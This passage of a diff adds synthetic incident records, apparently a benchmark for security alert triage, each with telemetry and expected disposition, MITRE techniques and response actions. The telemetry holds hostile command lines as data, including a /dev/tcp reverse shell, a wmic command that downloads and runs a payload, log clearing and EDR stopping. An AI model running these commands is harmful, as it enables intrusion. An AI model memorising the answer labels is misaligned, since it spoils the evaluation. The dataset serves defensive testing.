+ "a2": "O_WRONLY|O_CREAT"
+ },
+ {
+ "source": "linux_journald",
+ "_SYSTEMD_UNIT": "cron.service",
+ "MESSAGE": "(root) CMD (/bin/bash -i >& /dev/tcp/203.0.113.45/4444 0>&1)",
+ "hostname": "WIN-HR-DESKTOP"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1053.003",
+ "T1071.001"
+ ],
+ "expected_actions": []
+ },
+ {
+ "id": "INC-EVAL-015",
+ "provenance": "synthetic",
+ "title": "UAC bypass observed on MAC-LEGAL-LAPTOP",
+ "description": "fodhelper.exe abuse on MAC-LEGAL-LAPTOP by [email protected]; auto-elevation triggered without prompt. Process tree shows escalation to SYSTEM.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "UAC bypass observed on MAC-LEGAL-LAPTOP",
+ "severity": "high",
+ "template_id": "uac-bypass-fodhelper"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 13,
+ "Computer": "MAC-LEGAL-LAPTOP",
+ "User": "[email protected]",
+ "EventType": "SetValue",
+ "TargetObject": "HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command",
+ "Details": "C:\\Windows\\System32\\cmd.exe /c whoami"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "MAC-LEGAL-LAPTOP",
+ "Image": "C:\\Windows\\System32\\fodhelper.exe",
+ "ParentImage": "C:\\Windows\\explorer.exe",
+ "IntegrityLevel": "High",
+ "User": "SYSTEM"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1548.002"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-016",
+ "provenance": "synthetic",
+ "title": "Container escape via privileged pod on K8S-PROD-CLUSTER",
+ "description": "Kubernetes privileged pod created on K8S-PROD-CLUSTER by [email protected]. cgroup escape to host namespace observed. Node filesystem accessed.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Container escape via privileged pod on K8S-PROD-CLUSTER",
+ "severity": "critical",
+ "template_id": "k8s-privileged-pod-escape"
+ },
+ "telemetry": [
+ {
+ "source": "k8s_audit",
+ "apiVersion": "audit.k8s.io/v1",
+ "kind": "Event",
+ "verb": "create",
+ "objectRef": {
+ "resource": "pods"
+ },
+ "user": {
+ "username": "[email protected]"
+ },
+ "requestObject": {
+ "spec": {
+ "containers": [
+ {
+ "name": "x",
+ "image": "alpine",
+ "securityContext": {
+ "privileged": true
+ }
+ }
+ ],
+ "hostPID": true
+ }
+ },
+ "stage": "ResponseComplete",
+ "responseStatus": {
+ "code": 201
+ },
+ "node": "K8S-PROD-CLUSTER"
+ },
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "openat",
+ "exe": "/bin/sh",
+ "path": "/host/etc/shadow",
+ "hostname": "K8S-PROD-CLUSTER",
+ "user": "root"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1611",
+ "T1082"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-017",
+ "provenance": "synthetic",
+ "title": "Linux SUID binary abuse on LIN-DB-REPLICA",
+ "description": "Custom SUID binary discovered in /tmp on LIN-DB-REPLICA; allows arbitrary command execution as root. Likely escalation by [email protected].",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Linux SUID binary abuse on LIN-DB-REPLICA",
+ "severity": "high",
+ "template_id": "linux-suid-abuse"
+ },
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "chmod",
+ "exe": "/bin/chmod",
+ "a1": "/tmp/.x",
+ "mode": "04755",
+ "hostname": "LIN-DB-REPLICA",
+ "user": "[email protected]"
+ },
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/tmp/.x",
+ "hostname": "LIN-DB-REPLICA",
+ "uid": 1001,
+ "euid": 0,
+ "user": "[email protected]"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1548.001"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-018",
+ "provenance": "synthetic",
+ "title": "Memory-only fileless implant in svchost on MAC-CFO-LAPTOP",
+ "description": "Process hollowing detected on MAC-CFO-LAPTOP: svchost.exe replaced with Cobalt Strike beacon to 10.0.99.42. No disk artefacts. Linked to Scattered Spider.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Memory-only fileless implant in svchost on MAC-CFO-LAPTOP",
+ "severity": "critical",
+ "template_id": "process-hollowing-svchost"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 8,
+ "Computer": "MAC-CFO-LAPTOP",
+ "SourceImage": "C:\\Windows\\System32\\powershell.exe",
+ "TargetImage": "C:\\Windows\\System32\\svchost.exe",
+ "StartFunction": "LoadLibraryW",
+ "NewThreadId": 4716
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "MAC-CFO-LAPTOP",
+ "Image": "C:\\Windows\\System32\\svchost.exe",
+ "DestinationIp": "10.0.99.42",
+ "DestinationPort": 443,
+ "Protocol": "tcp",
+ "ja3": "a0e9f5d64349fb13191bc781f81f42e1"
+ },
+ {
+ "source": "edr",
+ "rule": "Cobalt Strike beacon (process hollowing)",
+ "severity": "high",
+ "Computer": "MAC-CFO-LAPTOP",
+ "threat_actor": "Scattered Spider"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1055.012",
+ "T1620"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-019",
+ "provenance": "synthetic",
+ "title": "Indicator removal: Windows event log cleared on LIN-EDGE-VPN02",
+ "description": "Security event log cleared on LIN-EDGE-VPN02 by [email protected]. wevtutil.exe cl Security observed in command-line telemetry.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Indicator removal: Windows event log cleared on LIN-EDGE-VPN02",
+ "severity": "high",
+ "template_id": "event-log-cleared"
+ },
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 1102,
+ "Computer": "LIN-EDGE-VPN02",
+ "SubjectUserName": "[email protected]",
+ "Channel": "Security",
+ "Description": "The audit log was cleared."
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "LIN-EDGE-VPN02",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\wevtutil.exe",
+ "CommandLine": "wevtutil cl Security"
+ }
+ ],
+ "expected_disposition": "suspicious",
+ "expected_techniques": [
+ "T1070.001"
+ ],
+ "expected_actions": [
+ "escalate",
+ "create_ticket",
+ "notify"
+ ]
+ },
+ {
+ "id": "INC-EVAL-020",
+ "provenance": "synthetic",
+ "title": "Disable security tooling on GCP-GKE-NODE-04",
+ "description": "[email protected] attempted to stop Defender, CrowdStrike, and Sysmon on GCP-GKE-NODE-04. Tampering telemetry triggered alert.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Disable security tooling on GCP-GKE-NODE-04",
+ "severity": "critical",
+ "template_id": "disable-edr-tooling"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "GCP-GKE-NODE-04",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\sc.exe",
+ "CommandLine": "sc.exe stop CSAgent"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "GCP-GKE-NODE-04",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\sc.exe",
+ "CommandLine": "sc.exe stop WinDefend"
+ },
+ {
+ "source": "edr",
+ "rule": "EDR tampering attempt",
+ "severity": "critical",
+ "Computer": "GCP-GKE-NODE-04",
+ "User": "[email protected]"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1562.001"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-021",
+ "provenance": "synthetic",
+ "title": "LSASS memory dump on AZURE-VM-FIN-001 by [email protected]",
+ "description": "comsvcs.dll MiniDump observed on AZURE-VM-FIN-001. lsass.exe memory dumped to C:\\Windows\\Temp\\. Mimikatz signatures detected.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "LSASS memory dump on AZURE-VM-FIN-001 by [email protected]",
+ "severity": "critical",
+ "template_id": "lsass-memory-dump"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 10,
+ "Computer": "AZURE-VM-FIN-001",
+ "SourceImage": "C:\\Windows\\System32\\rundll32.exe",
+ "TargetImage": "C:\\Windows\\System32\\lsass.exe",
+ "GrantedAccess": "0x1010",
+ "CallTrace": "comsvcs.dll+5d24|MiniDumpWriteDump",
+ "User": "[email protected]"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 11,
+ "Computer": "AZURE-VM-FIN-001",
+ "Image": "C:\\Windows\\System32\\rundll32.exe",
+ "TargetFilename": "C:\\Windows\\Temp\\lsass.dmp",
+ "User": "[email protected]"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1003.001"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-022",
+ "provenance": "synthetic",
+ "title": "Brute-force credential spray against [email protected] from 45.142.122.111",
+ "description": "Credential spray from 45.142.122.111 against [email protected]. 1500 password attempts in 30 minutes. One success followed by anomalous Azure AD sign-in.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Brute-force credential spray against [email protected] from 45.142.122.111",
+ "severity": "high",
+ "template_id": "credential-spray"
+ },
+ "telemetry": [
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "45.142.122.111",
+ "resultType": 50126,
+ "resultDescription": "Invalid username or password",
+ "appDisplayName": "Office 365 Exchange Online",
+ "attempt_count": 1500
+ },
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "45.142.122.111",
+ "resultType": 0,
+ "resultDescription": "Success",
+ "conditionalAccessStatus": "success",
+ "riskLevelAggregated": "high"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1110.003"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-023",
+ "provenance": "synthetic",
+ "title": "Kerberoasting from MAC-CFO-LAPTOP",
+ "description": "Service account TGS tickets requested en-masse from MAC-CFO-LAPTOP by [email protected]. AES256 \u2192 RC4 downgrade observed. Mimikatz tooling indicators.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Kerberoasting from MAC-CFO-LAPTOP",
+ "severity": "critical",
+ "template_id": "kerberoasting"
+ },
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4769,
+ "Computer": "WIN-DC-PRIMARY",
+ "TargetUserName": "[email protected]",
+ "ServiceName": "MSSQLSvc/sql.example.com",
+ "TicketEncryptionType": "0x17",
+ "IpAddress": "MAC-CFO-LAPTOP"
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4769,
+ "Computer": "WIN-DC-PRIMARY",
+ "TargetUserName": "[email protected]",
+ "ServiceName": "HTTP/web01.example.com",
+ "TicketEncryptionType": "0x17",
+ "IpAddress": "MAC-CFO-LAPTOP"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1558.003",
+ "T1021.001"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-024",
+ "provenance": "synthetic",
+ "title": "Active Directory DCSync from non-DC host AWS-EC2-PROD-API",
+ "description": "Replication rights abused from AWS-EC2-PROD-API by [email protected]. All domain NTLM hashes replicated. Severe credential exposure.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Active Directory DCSync from non-DC host AWS-EC2-PROD-API",
+ "severity": "critical",
+ "template_id": "ad-dcsync"
+ },
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4662,
+ "Computer": "WIN-DC-PRIMARY",
+ "SubjectUserName": "[email protected]",
+ "ObjectServer": "DS",
+ "ObjectType": "domainDNS",
+ "Properties": "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",
+ "ClientIP": "AWS-EC2-PROD-API"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1003.006",
+ "T1078.002"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-025",
+ "provenance": "synthetic",
+ "title": "SAML golden-ticket: forged assertion targeting [email protected]",
+ "description": "Forged SAML assertion detected for [email protected]. Attacker pivoted to Azure AD; account enumeration followed from 198.51.100.23.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "SAML golden-ticket: forged assertion targeting [email protected]",
+ "severity": "critical",
+ "template_id": "saml-golden-ticket"
+ },
+ "telemetry": [
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "198.51.100.23",
+ "resultType": 0,
+ "authenticationDetails": [
+ {
+ "authenticationMethod": "Federated",
+ "succeeded": true
+ }
+ ],
+ "tokenIssuerType": "ADFederationServices",
+ "tokenIssuerName": "forged-adfs.example.com"
+ },
+ {
+ "source": "m365_audit",
+ "Workload": "AzureActiveDirectory",
+ "Operation": "Add member to role.",
+ "UserId": "[email protected]",
+ "ModifiedProperties": [
+ {
+ "Name": "Role.DisplayName",
+ "NewValue": "Global Administrator"
+ }
+ ]
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1606.002",
+ "T1087.002"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-026",
+ "provenance": "synthetic",
+ "title": "Domain enumeration from LIN-K8S-NODE01",
+ "description": "ldap discovery from LIN-K8S-NODE01 by [email protected]: BloodHound-style queries enumerating users, groups, ACLs.",
+ "severity": "medium",
+ "raw_alert": {
+ "title": "Domain enumeration from LIN-K8S-NODE01",
+ "severity": "medium",
+ "template_id": "ldap-bloodhound-discovery"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "LIN-K8S-NODE01",
+ "Image": "C:\\Tools\\SharpHound.exe",
+ "DestinationIp": "WIN-DC-PRIMARY",
+ "DestinationPort": 389,
+ "User": "[email protected]"
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4662,
+ "Computer": "WIN-DC-PRIMARY",
+ "SubjectUserName": "[email protected]",
+ "ObjectType": "user",
+ "AccessMask": "0x100",
+ "EventCount": 8400
+ }
+ ],
+ "expected_disposition": "benign",
+ "expected_techniques": [
+ "T1087.002"
+ ],
+ "expected_actions": [
+ "monitor",
+ "no_action",
+ "watchlist"
+ ]
+ },
+ {
+ "id": "INC-EVAL-027",
+ "provenance": "synthetic",
+ "title": "Network share enumeration on LIN-EDGE-VPN02",
+ "description": "Mass SMB share enumeration from LIN-EDGE-VPN02 by [email protected]; net.exe and PowerShell Get-SmbShare invocations across /24 subnet.",
+ "severity": "medium",
+ "raw_alert": {
+ "title": "Network share enumeration on LIN-EDGE-VPN02",
+ "severity": "medium",
+ "template_id": "smb-share-enumeration"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "LIN-EDGE-VPN02",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\net.exe",
+ "CommandLine": "net.exe view /domain"
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 5145,
+ "Computer": "WIN-FILE-SHARE",
+ "SubjectUserName": "[email protected]",
+ "ShareName": "\\\\*\\*",
+ "IpAddress": "LIN-EDGE-VPN02",
+ "EventCount": 256
+ }
+ ],
+ "expected_disposition": "benign",
+ "expected_techniques": [
+ "T1135"
+ ],
+ "expected_actions": [
+ "monitor",
+ "no_action",
+ "watchlist"
+ ]
+ },
+ {
+ "id": "INC-EVAL-028",
+ "provenance": "synthetic",
+ "title": "Pass-the-hash from AZURE-VM-FIN-001 to LIN-EDGE-VPN02",
+ "description": "Pass-the-hash lateral movement from AZURE-VM-FIN-001 to LIN-EDGE-VPN02 by [email protected]. Golden ticket indicators present. Linked to APT28.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Pass-the-hash from AZURE-VM-FIN-001 to LIN-EDGE-VPN02",
+ "severity": "critical",
+ "template_id": "pass-the-hash-lateral"
+ },
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4624,
+ "Computer": "LIN-EDGE-VPN02",
+ "TargetUserName": "[email protected]",
+ "LogonType": 3,
+ "AuthenticationPackageName": "NTLM",
+ "IpAddress": "AZURE-VM-FIN-001",
+ "LogonProcessName": "NtLmSsp"
+ },
+ {
+ "source": "edr",
+ "rule": "Pass-the-hash indicators (NTLM hash reuse)",
+ "severity": "high",
+ "Computer": "LIN-EDGE-VPN02",
+ "Source": "AZURE-VM-FIN-001",
+ "User": "[email protected]",
+ "threat_actor": "APT28"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1550.002",
+ "T1558.001"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-029",
+ "provenance": "synthetic",
+ "title": "RDP lateral movement from LIN-BUILD-CI03",
+ "description": "Anomalous RDP session from LIN-BUILD-CI03 ([email protected]) to AZURE-VM-FIN-001 outside business hours. Source admin not normal for AZURE-VM-FIN-001.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "RDP lateral movement from LIN-BUILD-CI03",
+ "severity": "high",
+ "template_id": "rdp-lateral-movement"
+ },
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4624,
+ "Computer": "AZURE-VM-FIN-001",
+ "TargetUserName": "[email protected]",
+ "LogonType": 10,
+ "IpAddress": "LIN-BUILD-CI03",
+ "LogonProcessName": "User32",
+ "EventTimeUTC": "03:14:00Z"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1021.001"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-030",
+ "provenance": "synthetic",
+ "title": "WMI lateral execution from WIN-PROD-WEB02 to AWS-EC2-PROD-API",
+ "description": "wmic.exe /node:AWS-EC2-PROD-API process call create observed from WIN-PROD-WEB02 by [email protected]. Remote command execution; payload from 91.134.231.15.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "WMI lateral execution from WIN-PROD-WEB02 to AWS-EC2-PROD-API",
+ "severity": "high",
+ "template_id": "wmi-lateral-execution"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "WIN-PROD-WEB02",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\wbem\\wmic.exe",
+ "CommandLine": "wmic /node:AWS-EC2-PROD-API process call create \"cmd /c curl http://91.134.231.15/p.exe -o C:\\Users\\Public\\p.exe && C:\\Users\\Public\\p.exe\""
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1047"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-031",
+ "provenance": "synthetic",
+ "title": "Bulk PII download by [email protected]",
+ "description": "[email protected] downloaded >10 GB of customer records from production database from LIN-DB-REPLICA. Outside normal access pattern.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Bulk PII download by [email protected]",
+ "severity": "critical",
+ "template_id": "bulk-pii-download"
+ },
+ "telemetry": [
+ {
+ "source": "db_audit",
+ "operation": "SELECT",
+ "user": "[email protected]",
+ "src_host": "LIN-DB-REPLICA",
+ "database": "prod_customers",
+ "table": "customer_records",
+ "rows_returned": 4200000,
+ "bytes": 10700000000
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1005",
+ "T1041"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-032",
+ "provenance": "synthetic",
+ "title": "Clipboard logging implant on WIN-DC-SECONDARY",
+ "description": "Clipboard contents from WIN-DC-SECONDARY ([email protected]) being captured to %APPDATA%\\Local\\. Captures span 2 hours and include credentials and crypto addresses.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Clipboard logging implant on WIN-DC-SECONDARY",
+ "severity": "high",
+ "template_id": "clipboard-keylogger"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 24,
+ "Computer": "WIN-DC-SECONDARY",
+ "User": "[email protected]",
+ "Image": "C:\\Users\\[email protected]\\AppData\\Local\\sched.exe",
+ "Hashes": "SHA256=abc..."
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 11,
+ "Computer": "WIN-DC-SECONDARY",
+ "Image": "C:\\Users\\[email protected]\\AppData\\Local\\sched.exe",
+ "TargetFilename": "C:\\Users\\[email protected]\\AppData\\Local\\clip.log",
+ "User": "[email protected]"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1115"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-033",
+ "provenance": "synthetic",
+ "title": "DNS tunnelling exfiltration from MAC-LEGAL-LAPTOP",
+ "description": "DNS query volume from MAC-LEGAL-LAPTOP 50\u00d7 baseline. TXT records contain base64-encoded payloads. Estimated exfil ~200 MB; destination 172.16.50.7.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "DNS tunnelling exfiltration from MAC-LEGAL-LAPTOP",
+ "severity": "critical",
+ "template_id": "dns-tunnel-exfil"
+ },
+ "telemetry": [
+ {
+ "source": "dns",
+ "query_name": "aGVsbG8gd29ybGQK.exfil.172.16.50.7.in-addr.arpa",
+ "query_type": "TXT",
+ "src_host": "MAC-LEGAL-LAPTOP",
+ "dst_ip": "172.16.50.7",
+ "response_size": 512,
+ "qps": 240
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1071.004",
+ "T1048.003"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-034",
+ "provenance": "synthetic",
+ "title": "Cloud storage exfil: data egress to attacker-controlled S3 from WIN-DC-PRIMARY",
+ "description": "Egress from WIN-DC-PRIMARY to s3://atk-stage-91.134.231.15/dump/ by [email protected]. 8 GB transferred over 20 minutes. CloudTrail PutObject events match.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Cloud storage exfil: data egress to attacker-controlled S3 from WIN-DC-PRIMARY",
+ "severity": "critical",
+ "template_id": "s3-exfil-cloud-storage"
+ },
+ "telemetry": [
+ {
+ "source": "cloudtrail",
+ "eventName": "PutObject",
+ "eventSource": "s3.amazonaws.com",
+ "awsRegion": "us-east-1",
+ "userIdentity": {
+ "type": "IAMUser",
+ "userName": "[email protected]"
+ },
+ "sourceIPAddress": "WIN-DC-PRIMARY",
+ "requestParameters": {
+ "bucketName": "atk-stage-91.134.231.15",
+ "key": "dump/customers.tar.gz"
+ },
+ "resources": [
+ {
+ "ARN": "arn:aws:s3:::atk-stage-91.134.231.15/dump/customers.tar.gz"
+ }
+ ]
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1567.002"
+ ],
+ "expected_actions": [
+ "block_ip",
+ "block_domain",
+ "block_hash",
+ "block_ioc"
+ ]
+ },
+ {
+ "id": "INC-EVAL-035",
+ "provenance": "synthetic",
+ "title": "Personal Drive exfil by [email protected]",
+ "description": "[email protected] on LIN-K8S-NODE01 uploaded 4 GB to personal Google Drive. Files include source code and customer PII.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Personal Drive exfil by [email protected]",
+ "severity": "critical",
+ "template_id": "personal-drive-exfil"
+ },
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "POST",
+ "url": "https://www.googleapis.com/upload/drive/v3/files",
+ "status_code": 200,
+ "src_host": "LIN-K8S-NODE01",
+ "src_user": "[email protected]",
+ "bytes_out": 4300000000,
+ "file_count": 812
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1567.002",
+ "T1005"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-036",
+ "provenance": "synthetic",
+ "title": "DGA-based C2 traffic from MAC-LEGAL-LAPTOP",
+ "description": "DGA traffic from MAC-LEGAL-LAPTOP observed; 200+ NXDomain replies/min, IoCs match Scattered Spider epoch 5. Beacons to 172.16.50.7.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "DGA-based C2 traffic from MAC-LEGAL-LAPTOP",
+ "severity": "high",
+ "template_id": "dga-c2"
+ },
+ "telemetry": [
+ {
+ "source": "dns",
+ "query_name": "qkz3pl4vnxq2.com",
+ "query_type": "A",
+ "src_host": "MAC-LEGAL-LAPTOP",
+ "rcode": "NXDOMAIN",
+ "qps_above_baseline": 50.0
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "MAC-LEGAL-LAPTOP",
+ "Image": "C:\\Windows\\System32\\svchost.exe",
+ "DestinationIp": "172.16.50.7",
+ "DestinationPort": 443,
+ "Protocol": "tcp",
+ "threat_actor": "Scattered Spider"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1568.002"
+ ],
+ "expected_actions": [
+ "block_ip",
+ "block_domain",
+ "block_hash",
+ "block_ioc"
+ ]
+ },
+ {
+ "id": "INC-EVAL-037",
+ "provenance": "synthetic",
+ "title": "HTTPS C2 beacon from LIN-DB-REPLICA to 198.51.100.23",
+ "description": "Periodic HTTPS beacon from LIN-DB-REPLICA to 198.51.100.23 every 60 seconds with low jitter. JA3 fingerprint matches Cobalt Strike.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "HTTPS C2 beacon from LIN-DB-REPLICA to 198.51.100.23",
+ "severity": "critical",
+ "template_id": "https-c2-beacon"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "LIN-DB-REPLICA",
+ "DestinationIp": "198.51.100.23",
+ "DestinationPort": 443,
+ "Protocol": "tcp",
+ "ja3": "a0e9f5d64349fb13191bc781f81f42e1",
+ "interval_secs": 60,
+ "jitter_pct": 2
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1071.001"
+ ],
+ "expected_actions": [
+ "block_ip",
+ "block_domain",
+ "block_hash",
+ "block_ioc"
+ ]
+ },
+ {
+ "id": "INC-EVAL-038",
+ "provenance": "synthetic",
+ "title": "Ransomware encryption in progress on GCP-GKE-NODE-04",
